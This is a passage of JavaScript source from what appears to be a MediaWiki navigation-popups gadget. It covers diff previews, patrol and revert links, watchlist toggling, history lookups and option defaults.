}
links[i].focus();
popupHandleKeypress.lastPopupLinkSelected = links[i];
return false; // swallow keypress
}
}
// pass keypress on
if (document.oldPopupOnkeypress) {
return document.oldPopupOnkeypress(evt);
}
return true;
}
function addPopupShortcuts() {
if (document.onkeypress != popupHandleKeypress) {
document.oldPopupOnkeypress = document.onkeypress;
}
document.onkeypress = popupHandleKeypress;
}
function rmPopupShortcuts() {
popupHandleKeypress.lastPopupLinkSelected = null;
try {
if (document.oldPopupOnkeypress && document.oldPopupOnkeypress == popupHandleKeypress) {
// panic
document.onkeypress = null; //function () {};
return;
}
document.onkeypress = document.oldPopupOnkeypress;
} catch (nasties) {
/* IE goes here */
}
}
function addLinkProperty(html, property) {
// take "<a href=...>...</a> and add a property
// not sophisticated at all, easily broken
const i = html.indexOf('>');
if (i < 0) {
return html;
}
return html.substring(0, i) + ' ' + property + html.substring(i);
}
function addPopupShortcut(html, key) {
if (!getValueOf('popupShortcutKeys')) {
return html;
}
const ret = addLinkProperty(html, 'popupkey="' + key + '"');
if (key == ' ') {
key = popupString('spacebar');
}
return ret.replace(/^(.*?)(title=")(.*?)(".*)$/i, '$1$2$3 [' + key + ']$4');
}
// ENDFILE: shortcutkeys.js
// STARTFILE: diffpreview.js
/**
* Load diff data.
*
* lets jump through hoops to find the rev ids we need to retrieve
*
* @param {Title} article
* @param {string} oldid
* @param {string} diff
* @param {Navpopup} navpop
*/
function loadDiff(article, oldid, diff, navpop) {
navpop.diffData = { oldRev: {}, newRev: {} };
mw.loader.using('mediawiki.api').then(() => {
const api = getMwApi();
const params = {
action: 'compare',
prop: 'ids|title',
};
params.fromtitle = article.toString();
switch (diff) {
case 'cur':
switch (oldid) {
case null:
case '':
case 'prev':
// this can only work if we have the title
// cur -> prev
params.torelative = 'prev';
break;
default:
params.fromrev = oldid;
params.torelative = 'cur';
break;
}
break;
case 'prev':
if (oldid && oldid !== 'cur') {
params.fromrev = oldid;
}
params.torelative = 'prev';
break;
case 'next':
params.fromrev = oldid || 0;
params.torelative = 'next';
break;
default:
params.fromrev = oldid || 0;
params.torev = diff || 0;
break;
}
api.get(params).then((data) => {
navpop.diffData.oldRev.revid = data.compare.fromrevid;
navpop.diffData.newRev.revid = data.compare.torevid;
addReviewLink(navpop, 'popupMiscTools');
const go = function () {
pendingNavpopTask(navpop);
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
url += 'revids=' + navpop.diffData.oldRev.revid + '|' + navpop.diffData.newRev.revid;
url += '&prop=revisions&rvslots=main&rvprop=ids|timestamp|content';
getPageWithCaching(url, doneDiff, navpop);
return true; // remove hook once run
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_DIFFS');
}
});
});
}
// Put a "mark patrolled" link to an element target
// TODO: Allow patrol a revision, as well as a diff
function addReviewLink(navpop, target) {
if (!pg.user.canReview) {
return;
}
// If 'newRev' is older than 'oldRev' than it could be confusing, so we do not show the review link.
if (navpop.diffData.newRev.revid <= navpop.diffData.oldRev.revid) {
return;
}
const params = {
action: 'query',
prop: 'info|flagged',
revids: navpop.diffData.oldRev.revid,
formatversion: 2,
};
getMwApi()
.get(params)
.then((data) => {
const stable_revid =
(data.query.pages[0].flagged && data.query.pages[0].flagged.stable_revid) || 0;
// The diff can be reviewed if the old version is the last reviewed version
// TODO: Other possible conditions that we may want to implement instead of this one:
// * old version is patrolled and the new version is not patrolled
// * old version is patrolled and the new version is more recent than the last reviewed version
if (stable_revid == navpop.diffData.oldRev.revid) {
const a = document.createElement('a');
a.innerHTML = popupString('mark patrolled');
a.title = popupString('markpatrolledHint');
a.onclick = function () {
const params = {
action: 'review',
revid: navpop.diffData.newRev.revid,
comment: tprintf('defaultpopupReviewedSummary', [
navpop.diffData.oldRev.revid,
navpop.diffData.newRev.revid,
]),
};
getMwApi()
.postWithToken('csrf', params)
.done(() => {
a.style.display = 'none';
// TODO: Update current page and other already constructed popups
})
.fail(() => {
alert(popupString('Could not marked this edit as patrolled'));
});
};
setPopupHTML(a, target, navpop.idNumber, null, true);
}
});
}
function doneDiff(download) {
if (!download.owner || !download.owner.diffData) {
return;
}
const navpop = download.owner;
completedNavpopTask(navpop);
let pages,
revisions = [];
try {
// Process the downloads
pages = getJsObj(download.data).query.pages;
for (var i = 0; i < pages.length; i++) {
revisions = revisions.concat(pages[i].revisions);
}
for (i = 0; i < revisions.length; i++) {
if (revisions[i].revid == navpop.diffData.oldRev.revid) {
navpop.diffData.oldRev.revision = revisions[i];
} else if (revisions[i].revid == navpop.diffData.newRev.revid) {
navpop.diffData.newRev.revision = revisions[i];
}
}
} catch (someError) {
errlog('Could not get diff');
}
insertDiff(navpop);
}
function rmBoringLines(a, b, context) {
if (typeof context == 'undefined') {
context = 2;
}
// this is fairly slow... i think it's quicker than doing a word-based diff from the off, though
const aa = [],
aaa = [];
const bb = [],
bbb = [];
let i, j;
// first, gather all disconnected nodes in a and all crossing nodes in a and b
for (i = 0; i < a.length; ++i) {
if (!a[i].paired) {
aa[i] = 1;
} else if (countCrossings(b, a, i, true)) {
aa[i] = 1;
bb[a[i].row] = 1;
}
}
// pick up remaining disconnected nodes in b
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
continue;
}
if (!b[i].paired) {
bb[i] = 1;
}
}
// another pass to gather context: we want the neighbours of included nodes which are not
// yet included we have to add in partners of these nodes, but we don't want to add context
// for *those* nodes in the next pass
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(b.length, i + context); ++j) {
if (!bb[j]) {
bb[j] = 1;
aa[b[j].row] = 0.5;
}
}
}
}
for (i = 0; i < a.length; ++i) {
if (aa[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(a.length, i + context); ++j) {
if (!aa[j]) {
aa[j] = 1;
bb[a[j].row] = 0.5;
}
}
}
}
for (i = 0; i < bb.length; ++i) {
if (bb[i] > 0) {
// it's a row we need
if (b[i].paired) {
bbb.push(b[i].text);
} // joined; partner should be in aa
else {
bbb.push(b[i]);
}
}
}
for (i = 0; i < aa.length; ++i) {
if (aa[i] > 0) {
// it's a row we need
if (a[i].paired) {
aaa.push(a[i].text);
} // joined; partner should be in aa
else {
aaa.push(a[i]);
}
}
}
return { a: aaa, b: bbb };
}
function stripOuterCommonLines(a, b, context) {
let i = 0;
while (i < a.length && i < b.length && a[i] == b[i]) {
++i;
}
let j = a.length - 1;
let k = b.length - 1;
while (j >= 0 && k >= 0 && a[j] == b[k]) {
--j;
--k;
}
return {
a: a.slice(Math.max(0, i - 1 - context), Math.min(a.length + 1, j + context + 1)),
b: b.slice(Math.max(0, i - 1 - context), Math.min(b.length + 1, k + context + 1)),
};
}
function insertDiff(navpop) {
// for speed reasons, we first do a line-based diff, discard stuff that seems boring, then
// do a word-based diff
// FIXME: sometimes this gives misleading diffs as distant chunks are squashed together
let oldlines = navpop.diffData.oldRev.revision.slots.main.content.split('\n');
let newlines = navpop.diffData.newRev.revision.slots.main.content.split('\n');
let inner = stripOuterCommonLines(oldlines, newlines, getValueOf('popupDiffContextLines'));
oldlines = inner.a;
newlines = inner.b;
let truncated = false;
getValueOf('popupDiffMaxLines');
if (
oldlines.length > pg.option.popupDiffMaxLines ||
newlines.length > pg.option.popupDiffMaxLines
) {
// truncate
truncated = true;
inner = stripOuterCommonLines(
oldlines.slice(0, pg.option.popupDiffMaxLines),
newlines.slice(0, pg.option.popupDiffMaxLines),
pg.option.popupDiffContextLines
);
oldlines = inner.a;
newlines = inner.b;
}
const lineDiff = diff(oldlines, newlines);
const lines2 = rmBoringLines(lineDiff.o, lineDiff.n);
const oldlines2 = lines2.a;
const newlines2 = lines2.b;
const simpleSplit = !String.prototype.parenSplit.isNative;
let html = '<hr />';
if (getValueOf('popupDiffDates')) {
html += diffDatesTable(navpop);
html += '<hr />';
}
html += shortenDiffString(
diffString(oldlines2.join('\n'), newlines2.join('\n'), simpleSplit),
getValueOf('popupDiffContextCharacters')
).join('<hr />');
setPopupTipsAndHTML(
html.split('\n').join('<br>') +
(truncated ?
'<hr /><b>' + popupString('Diff truncated for performance reasons') + '</b>' :
''),
'popupPreview',
navpop.idNumber
);
}
function diffDatesTable(navpop) {
let html = '<table class="popup_diff_dates">';
html += diffDatesTableRow(navpop.diffData.newRev.revision, tprintf('New revision'));
html += diffDatesTableRow(navpop.diffData.oldRev.revision, tprintf('Old revision'));
html += '</table>';
return html;
}
function diffDatesTableRow(revision, label) {
let txt = '';
const lastModifiedDate = new Date(revision.timestamp);
txt = formattedDateTime(lastModifiedDate);
const revlink = generalLink({
url: mw.config.get('wgScript') + '?oldid=' + revision.revid,
text: label,
title: label,
});
return simplePrintf('<tr><td>%s</td><td>%s</td></tr>', [revlink, txt]);
}
// ENDFILE: diffpreview.js
// STARTFILE: links.js
/////////////////////
// LINK GENERATION //
/////////////////////
// titledDiffLink --> titledWikiLink --> generalLink
// wikiLink --> titledWikiLink --> generalLink
// editCounterLink --> generalLink
// TODO Make these functions return Element objects, not just raw HTML strings.
function titledDiffLink(l) {
// article, text, title, from, to) {
return titledWikiLink({
article: l.article,
action: l.to + '&oldid=' + l.from,
newWin: l.newWin,
noPopup: l.noPopup,
text: l.text,
title: l.title,
/* hack: no oldid here */
actionName: 'diff',
});
}
function wikiLink(l) {
//{article:article, action:action, text:text, oldid, newid}) {
if (
!(typeof l.article == typeof {} && typeof l.action == typeof '' && typeof l.text == typeof '')
) {
return null;
}
if (typeof l.oldid == 'undefined') {
l.oldid = null;
}
const savedOldid = l.oldid;
if (!/^(edit|view|revert|render)$|^raw/.test(l.action)) {
l.oldid = null;
}
let hint = popupString(l.action + 'Hint'); // revertHint etc etc etc
const oldidData = [l.oldid, safeDecodeURI(l.article)];
let revisionString = tprintf('revision %s of %s', oldidData);
log('revisionString=' + revisionString);
switch (l.action) {
case 'edit§ion=new':
hint = popupString('newSectionHint');
break;
case 'edit&undo=':
if (l.diff && l.diff != 'prev' && savedOldid) {
l.action += l.diff + '&undoafter=' + savedOldid;
} else if (savedOldid) {
l.action += savedOldid;
}
hint = popupString('undoHint');
break;
case 'raw&ctype=text/css':
hint = popupString('rawHint');
break;
case 'revert':
var p = parseParams(pg.current.link.href);
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=' +
revertSummary(l.oldid, p.diff);
if (p.diff == 'prev') {
l.action += '&direction=prev';
revisionString = tprintf('the revision prior to revision %s of %s', oldidData);
}
if (getValueOf('popupRevertSummaryPrompt')) {
l.action += '&autosummaryprompt=true';
}
if (getValueOf('popupMinorReverts')) {
l.action += '&autominor=true';
}
log('revisionString is now ' + revisionString);
break;
case 'nullEdit':
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=null';
break;
case 'historyfeed':
l.action = 'history&feed=rss';
break;
case 'markpatrolled':
l.action = 'markpatrolled&rcid=' + l.rcid;
}
if (hint) {
if (l.oldid) {
hint = simplePrintf(hint, [revisionString]);
} else {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
}
} else {
hint = safeDecodeURI(l.article + '&action=' + l.action) + l.oldid ? '&oldid=' + l.oldid : '';
}
return titledWikiLink({
article: l.article,
action: l.action,
text: l.text,
newWin: l.newWin,
title: hint,
oldid: l.oldid,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
function revertSummary(oldid, diff) {
let ret = '';
if (diff == 'prev') {
ret = getValueOf('popupQueriedRevertToPreviousSummary');
} else {
ret = getValueOf('popupQueriedRevertSummary');
}
return ret + '&autorv=' + oldid;
}
function titledWikiLink(l) {
// possible properties of argument:
// article, action, text, title, oldid, actionName, className, noPopup
// oldid = null is fine here
// article and action are mandatory args
if (typeof l.article == 'undefined' || typeof l.action == 'undefined') {
errlog('got undefined article or action in titledWikiLink');
return null;
}
const base = pg.wiki.titlebase + l.article.urlString();
let url = base;
if (typeof l.actionName == 'undefined' || !l.actionName) {
l.actionName = 'action';
}
// no need to add &action=view, and this confuses anchors
if (l.action != 'view') {
url = base + '&' + l.actionName + '=' + l.action;
}
if (typeof l.oldid != 'undefined' && l.oldid) {
url += '&oldid=' + l.oldid;
}
let cssClass = pg.misc.defaultNavlinkClassname;
if (typeof l.className != 'undefined' && l.className) {
cssClass = l.className;
}
return generalNavLink({
url: url,
newWin: l.newWin,
title: typeof l.title != 'undefined' ? l.title : null,
text: typeof l.text != 'undefined' ? l.text : null,
className: cssClass,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
pg.fn.getLastContrib = function getLastContrib(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processLastContribInfo(x, { page: wikipage, newWin: newWin });
});
};
function processLastContribInfo(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: an odd thing happened. Please retry.');
return;
}
if (!info.firstNewEditor) {
alert(
tprintf('Only found one editor: %s made %s edits', [
info.edits[0].editor,
info.edits.length,
])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.firstNewEditor.oldid;
displayUrl(newUrl, stuff.newWin);
}
pg.fn.getDiffSinceMyEdit = function getDiffSinceMyEdit(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processDiffSinceMyEdit(x, { page: wikipage, newWin: newWin });
});
};
function processDiffSinceMyEdit(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: something fishy happened. Please try again.');
return;
}
const friendlyName = stuff.page.split('_').join(' ');
if (!info.myLastEdit) {
alert(
tprintf("Couldn't find an edit by %s\nin the last %s edits to\n%s", [
info.userName,
getValueOf('popupHistoryLimit'),
friendlyName,
])
);
return;
}
if (info.myLastEdit.index === 0) {
alert(
tprintf('%s seems to be the last editor to the page %s', [info.userName, friendlyName])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.myLastEdit.oldid;
displayUrl(newUrl, stuff.newWin);
}
function displayUrl(url, newWin) {
if (newWin) {
window.open(url);
} else {
document.location = url;
}
}
pg.fn.purgePopups = function purgePopups() {
processAllPopups(true);
setupCache(); // deletes all cached items (not browser cached, though...)
pg.option = {};
abortAllDownloads();
};
function processAllPopups(nullify, banish) {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
if (!pg.current.links[i].navpopup) {
continue;
}
if (nullify || banish) {
pg.current.links[i].navpopup.banish();
}
pg.current.links[i].simpleNoMore = false;
if (nullify) {
pg.current.links[i].navpopup = null;
}
}
}
pg.fn.disablePopups = function disablePopups() {
processAllPopups(false, true);
setupTooltips(null, true);
};
pg.fn.togglePreviews = function togglePreviews() {
processAllPopups(true, true);
pg.option.simplePopups = !pg.option.simplePopups;
abortAllDownloads();
};
function magicWatchLink(l) {
//Yuck!! Would require a thorough redesign to add this as a click event though ...
l.onclick = simplePrintf("pg.fn.modifyWatchlist('%s','%s');return false;", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
this.id,
]);
return wikiLink(l);
}
pg.fn.modifyWatchlist = function modifyWatchlist(title, action) {
const reqData = {
action: 'watch',
formatversion: 2,
titles: title,
uselang: mw.config.get('wgUserLanguage'),
};
if (action === 'unwatch') {
reqData.unwatch = true;
}
// Load the Addedwatchtext or Removedwatchtext message and show it
const mwTitle = mw.Title.newFromText(title);
let messageName;
if (mwTitle && mwTitle.getNamespaceId() > 0 && mwTitle.getNamespaceId() % 2 === 1) {
messageName = action === 'watch' ? 'addedwatchtext-talk' : 'removedwatchtext-talk';
} else {
messageName = action === 'watch' ? 'addedwatchtext' : 'removedwatchtext';
}
$.when(
getMwApi().postWithToken('watch', reqData),
getMwApi().loadMessagesIfMissing([messageName])
).done(() => {
mw.notify(mw.message(messageName, title).parseDom());
});
};
function magicHistoryLink(l) {
// FIXME use onclick change href trick to sort this out instead of window.open
let jsUrl = '',
title = '',
onClick = '';
switch (l.id) {
case 'lastContrib':
onClick = simplePrintf("pg.fn.getLastContrib('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('lastContribHint');
break;
case 'sinceMe':
onClick = simplePrintf("pg.fn.getDiffSinceMyEdit('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('sinceMeHint');
break;
}
jsUrl = 'javascript:' + onClick; // jshint ignore:line
onClick += ';return false;';
return generalNavLink({
url: jsUrl,
newWin: false, // can't have new windows with JS links, I think
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function popupMenuLink(l) {
const jsUrl = simplePrintf('javascript:pg.fn.%s()', [l.id]); // jshint ignore:line
const title = popupString(simplePrintf('%sHint', [l.id]));
const onClick = simplePrintf('pg.fn.%s();return false;', [l.id]);
return generalNavLink({
url: jsUrl,
newWin: false,
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function specialLink(l) {
// properties: article, specialpage, text, sep
if (typeof l.specialpage == 'undefined' || !l.specialpage) {
return null;
}
const base =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':' +
l.specialpage;
if (typeof l.sep == 'undefined' || l.sep === null) {
l.sep = '&target=';
}
let article = l.article.urlString({
keepSpaces: l.specialpage == 'Search',
});
let hint = popupString(l.specialpage + 'Hint');
switch (l.specialpage) {
case 'Log':
switch (l.sep) {
case '&user=':
hint = popupString('userLogHint');
break;
case '&type=block&page=':
hint = popupString('blockLogHint');
break;
case '&page=':
hint = popupString('pageLogHint');
break;
case '&type=protect&page=':
hint = popupString('protectLogHint');
break;
case '&type=delete&page=':
hint = popupString('deleteLogHint');
break;
default:
log('Unknown log type, sep=' + l.sep);
hint = 'Missing hint (FIXME)';
}
break;
case 'PrefixIndex':
article += '/';
break;
}
if (hint) {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
} else {
hint = safeDecodeURI(l.specialpage + ':' + l.article);
}
const url = base + l.sep + article;
return generalNavLink({
url: url,
title: hint,
text: l.text,
newWin: l.newWin,
noPopup: l.noPopup,
});
}
/**
* Builds a link from a object representing a link
*
* @param {Object} link
* @param {string} link.url URL
* @param {string} link.text The text to show for a link
* @param {string} link.title Title of the link, this shows up
* when you hover over the link
* @param {boolean} link.newWin Should open in a new Window
* @param {number} link.noPopup Should nest new popups from link (0 or 1)
* @param {string} link.onclick
* @return {string|null} null if no url is given
*/
function generalLink(link) {
if (typeof link.url == 'undefined') {
return null;
}
const elem = document.createElement( 'a' );
elem.href = link.url;
elem.title = link.title;
// The onclick event adds raw JS in textual form to the HTML.
// TODO: We should look into removing this, and/or auditing what gets sent.
elem.setAttribute( 'onclick', link.onclick );
if ( link.noPopup ) {
elem.setAttribute('noPopup', '1' );
}
let newWin;
if (typeof link.newWin == 'undefined' || link.newWin === null) {
newWin = getValueOf('popupNewWindows');
} else {
newWin = link.newWin;
}
if (newWin) {
elem.target = '_blank';
}
if (link.className) {
elem.className = link.className;
}
elem.innerText = pg.unescapeQuotesHTML(link.text);
return elem.outerHTML;
}
function appendParamsToLink(linkstr, params) {
const sp = linkstr.parenSplit(/(href="[^"]+?)"/i);
if (sp.length < 2) {
return null;
}
let ret = sp.shift() + sp.shift();
ret += '&' + params + '"';
ret += sp.join('');
return ret;
}
function changeLinkTargetLink(x) {
// newTarget, text, hint, summary, clickButton, minor, title (optional), alsoChangeLabel {
if (x.newTarget) {
log('changeLinkTargetLink: newTarget=' + x.newTarget);
}
if (x.oldTarget !== decodeURIComponent(x.oldTarget)) {
log('This might be an input problem: ' + x.oldTarget);
}
// FIXME: first character of page title as well as namespace should be case insensitive
// eg [[:category:X1]] and [[:Category:X1]] are equivalent
// this'll break if charAt(0) is nasty
const cA = mw.util.escapeRegExp(x.oldTarget);
let chs = cA.charAt(0).toUpperCase();
chs = '[' + chs + chs.toLowerCase() + ']';
let currentArticleRegexBit = chs + cA.substring(1);
currentArticleRegexBit = currentArticleRegexBit
.split(/(?:[_ ]+|%20)/g)
.join('(?:[_ ]+|%20)')
.split('\\(')
.join('(?:%28|\\()')
.split('\\)')
.join('(?:%29|\\))'); // why does this need to match encoded strings ? links in the document ?
// leading and trailing space should be ignored, and anchor bits optional:
currentArticleRegexBit = '\\s*(' + currentArticleRegexBit + '(?:#[^\\[\\|]*)?)\\s*';
// e.g. Computer (archaic) -> \s*([Cc]omputer[_ ](?:%2528|\()archaic(?:%2528|\)))\s*
// autoedit=s~\[\[([Cc]ad)\]\]~[[Computer-aided%20design|$1]]~g;s~\[\[([Cc]AD)[|]~[[Computer-aided%20design|~g
const title = x.title || mw.config.get('wgPageName').split('_').join(' ');
const lk = titledWikiLink({
article: new Title(title),
newWin: x.newWin,
action: 'edit',
text: x.text,
title: x.hint,
className: 'popup_change_title_link',
});
let cmd = '';
if (x.newTarget) {
// escape '&' and other nasties
const t = x.newTarget;
const s = mw.util.escapeRegExp(x.newTarget);
if (x.alsoChangeLabel) {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + ']]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + '|$1]]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
}
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~$1~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|](.*?)\\]\\]~$2~g';
}
// Build query
cmd = 'autoedit=' + encodeURIComponent(cmd);
cmd +=
'&autoclick=' +
encodeURIComponent(x.clickButton) +
'&actoken=' +
encodeURIComponent(autoClickToken());
cmd += x.minor === null ? '' : '&autominor=' + encodeURIComponent(x.minor);
cmd += x.watch === null ? '' : '&autowatch=' + encodeURIComponent(x.watch);
cmd += '&autosummary=' + encodeURIComponent(x.summary);
cmd += '&autoimpl=' + encodeURIComponent(popupString('autoedit_version'));
return appendParamsToLink(lk, cmd);
}
function redirLink(redirMatch, article) {
// NB redirMatch is in wikiText
let ret = '';
if (getValueOf('popupAppendRedirNavLinks') && getValueOf('popupNavLinks')) {
ret += '<hr />';
if (getValueOf('popupFixRedirs') && typeof autoEdit != 'undefined' && autoEdit) {
ret += popupString('Redirects to: (Fix ');
log('redirLink: newTarget=' + redirMatch);
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target'),
hint: popupString('Fix this redirect, changing just the link target'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
}),
'R'
);
ret += popupString(' or ');
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target & label'),
hint: popupString('Fix this redirect, changing the link target and label'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
alsoChangeLabel: true,
}),
'R'
);
ret += popupString(')');
} else {
ret += popupString('Redirects') + popupString(' to ');
}
return ret;
} else {
return (
'<br> ' +
popupString('Redirects') +
popupString(' to ') +
titledWikiLink({
article: new Title().fromWikiText(redirMatch),
action: 'view' /* FIXME: newWin */,
text: safeDecodeURI(redirMatch),
title: popupString('Bypass redirect'),
})
);
}
}
function arinLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!l.article.isIpUser() || !pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
return generalNavLink({
url: 'http://ws.arin.net/cgi-bin/whois.pl?queryinput=' + encodeURIComponent(uN),
newWin: l.newWin,
title: tprintf('Look up %s in ARIN whois database', [uN]),
text: l.text,
noPopup: 1,
});
}
function toolDbName(cookieStyle) {
let ret = mw.config.get('wgDBname');
if (!cookieStyle) {
ret += '_p';
}
return ret;
}
function saneLinkCheck(l) {
if (typeof l.article != typeof {} || typeof l.text != typeof '') {
return false;
}
return true;
}
function editCounterLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
const tool = getValueOf('popupEditCounterTool');
let url;
const defaultToolUrl = 'https://xtools.wmflabs.org/ec?user=$1&project=$2.$3&uselang=' + mw.config.get('wgUserLanguage');
switch (tool) {
case 'custom':
url = simplePrintf(getValueOf('popupEditCounterUrl'), [
encodeURIComponent(uN),
toolDbName(),
]);
break;
case 'soxred': // no longer available
case 'kate': // no longer available
case 'interiot': // no longer available
/* fall through */
case 'supercount':
default:
var theWiki = pg.wiki.hostname.split('.');
url = simplePrintf(defaultToolUrl, [encodeURIComponent(uN), theWiki[0], theWiki[1]]);
}
return generalNavLink({
url: url,
title: tprintf('editCounterLinkHint', [uN]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function globalSearchLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://global-search.toolforge.org/?uselang=' + mw.config.get('wgUserLanguage') + '&q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + article,
newWin: l.newWin,
title: tprintf('globalSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function googleLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://www.google.com/search?q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + '%22' + article + '%22',
newWin: l.newWin,
title: tprintf('googleSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function editorListLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const article = l.article.articleFromTalkPage() || l.article;
const url =
'https://xtools.wmflabs.org/articleinfo/' +
encodeURI(pg.wiki.hostname) +
'/' +
article.urlString() +
'?uselang=' +
mw.config.get('wgUserLanguage');
return generalNavLink({
url: url,
title: tprintf('editorListHint', [article]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function generalNavLink(l) {
l.className = l.className === null ? 'popupNavLink' : l.className;
return generalLink(l);
}
//////////////////////////////////////////////////
// magic history links
//
function getHistoryInfo(wikipage, whatNext) {
log('getHistoryInfo');
getHistory(
wikipage,
whatNext ?
(d) => {
whatNext(processHistory(d));
} :
processHistory
);
}
// FIXME eliminate pg.idNumber ... how? :-(
function getHistory(wikipage, onComplete) {
log('getHistory');
const url =
pg.wiki.apiwikibase +
'?format=json&formatversion=2&action=query&prop=revisions&titles=' +
new Title(wikipage).urlString() +
'&rvlimit=' +
getValueOf('popupHistoryLimit');
log('getHistory: url=' + url);
return startDownload(url, pg.idNumber + 'history', onComplete);
}
function processHistory(download) {
const jsobj = getJsObj(download.data);
try {
const revisions = anyChild(jsobj.query.pages).revisions;
const edits = [];
for (let i = 0; i < revisions.length; ++i) {
edits.push({ oldid: revisions[i].revid, editor: revisions[i].user });
}
log('processed ' + edits.length + ' edits');
return finishProcessHistory(edits, mw.config.get('wgUserName'));
} catch (someError) {
log('Something went wrong with JSON business');
return finishProcessHistory([]);
}
}
function finishProcessHistory(edits, userName) {
const histInfo = {};
histInfo.edits = edits;
histInfo.userName = userName;
for (let i = 0; i < edits.length; ++i) {
if (typeof histInfo.myLastEdit === 'undefined' && userName && edits[i].editor == userName) {
histInfo.myLastEdit = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
if (typeof histInfo.firstNewEditor === 'undefined' && edits[i].editor != edits[0].editor) {
histInfo.firstNewEditor = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
}
//pg.misc.historyInfo=histInfo;
return histInfo;
}
// ENDFILE: links.js
// STARTFILE: options.js
//////////////////////////////////////////////////
// options
// check for existing value, else use default
function defaultize(x) {
if (pg.option[x] === null || typeof pg.option[x] == 'undefined') {
if (typeof window[x] != 'undefined') {
pg.option[x] = window[x];
} else {
pg.option[x] = pg.optionDefault[x];
}
}
}
function newOption(x, def) {
pg.optionDefault[x] = def;
}
function setDefault(x, def) {
return newOption(x, def);
}
function getValueOf(varName) {
defaultize(varName);
return pg.option[varName];
}
/*eslint-disable */
function useDefaultOptions() {
// for testing
for (var p in pg.optionDefault) {
pg.option[p] = pg.optionDefault[p];
if (typeof window[p] != 'undefined') {
delete window[p];
}
}
}
/*eslint-enable */
function setOptions() {
// user-settable parameters and defaults
let userIsSysop = false;
if (mw.config.get('wgUserGroups')) {
for (let g = 0; g < mw.config.get('wgUserGroups').length; ++g) {
if (mw.config.get('wgUserGroups')[g] == 'sysop') {
userIsSysop = true;
}
}
}
// Basic options
newOption('popupDelay', 0.5);
newOption('popupHideDelay', 0.5);
newOption('simplePopups', false);
newOption('popupStructure', 'shortmenus'); // see later - default for popupStructure is 'original' if simplePopups is true
newOption('popupActionsMenu', true);
newOption('popupSetupMenu', true);
newOption('popupAdminLinks', userIsSysop);
newOption('popupShortcutKeys', false);
newOption('popupHistoricalLinks', true);
newOption('popupOnlyArticleLinks', true);
newOption('removeTitles', true);
newOption('popupMaxWidth', 350);
newOption('popupSimplifyMainLink', true);
newOption('popupAppendRedirNavLinks', true);
newOption('popupTocLinks', false);
newOption('popupSubpopups', true);
newOption('popupDragHandle', false /* 'popupTopLinks'*/);
newOption('popupLazyPreviews', true);
